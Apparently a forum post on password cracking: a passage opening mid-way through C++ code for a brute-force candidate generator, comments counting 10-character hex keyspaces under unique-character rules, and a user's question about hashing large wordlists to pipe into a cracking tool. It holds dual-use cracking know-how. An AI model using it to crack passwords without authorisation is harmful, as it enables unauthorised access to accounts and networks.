if ((make_next_stop_at) && (i == (make_next_stop_at_cnt+1))) { std::istringstream str_to_num(argv[i]); str_to_num >> stop_at_long; if (!str_to_num) {std::cout << "ERROR: stop is not a number" << "\n"; return 1;} make_next_stop_at = false; }
}
}
// ---------------------------------------------------
// Number of combinations (10-length)
// ---------------------------------------------------
// # of combos (10-length) = 1,099,511,627,776 (16^10) (13,194.14 GB)
// # of combos (10-length) with rules (6-9 uniques): 564,561,702,612 (51.3%) (6,774.74 GB)
// # of combos (10-length) with rules (10 uniques): 18,649,285,466 (1.7%) (223.79 GB)
// # of combos (10-length) with rules (09 uniques): 116,641,092,458 (10.6%) (1,399.69 GB)
// # of combos (10-length) with rules (08 uniques): 226,271,576,762 (20.6%) (2,715.26 GB)
// # of combos (10-length) with rules (07 uniques): 170,561,659,663 (15.5%) (2,046.74 GB)
// # of combos (10-length) with rules (06 uniques): 51,087,373,729 (4.6%) (613 GB)
// # of combos (10-length) with rules (05 uniques): 5,392,440,877 (0.5%) (64.7 GB)
// # of combos (10-length) with rules (04 uniques): 132,844,293 (0.012%) (1.59 GB)
// ---------------------------------------------------
// Number of combinations (10-length) (RISKY)
// ---------------------------------------------------
// # of combos (10-length) = 1,099,511,627,776 (16^10) (13,194.14 GB)
// # of combos (10-length) with rules (6-9 uniques): 367,647,332,933 (33.4%) (4,411.8 GB)
// # of combos (10-length) with rules (10 uniques): 12,010,291,278 (1.1%) (144.1 GB)
// # of combos (10-length) with rules (09 uniques): 75,876,130,604 (6.9%) (910.5 GB)
// # of combos (10-length) with rules (08 uniques): 147,638,929,917 (13.4%) (1,771.7 GB)
// # of combos (10-length) with rules (07 uniques): 111,045,927,794 (10.1%) (1,332.6 GB)
// # of combos (10-length) with rules (06 uniques): 33,086,344,618 (3.0%) (397 GB)
// # of combos (10-length) with rules (05 uniques): 3,472,496,526 (0.31%) (41.7 GB)
// # of combos (10-length) with rules (04 uniques): 85,114,150 (0.008%) (1.02 GB) instead of creating the lists I am piping the output of the scan direct to the scanner which save on the disk space some what. I would like to hash some lists of words I have then pipe the input to the scanner what would be the best method of hashing large passwords lists to a specific hash output? Thanks |
|
|
|
|
Show Posts
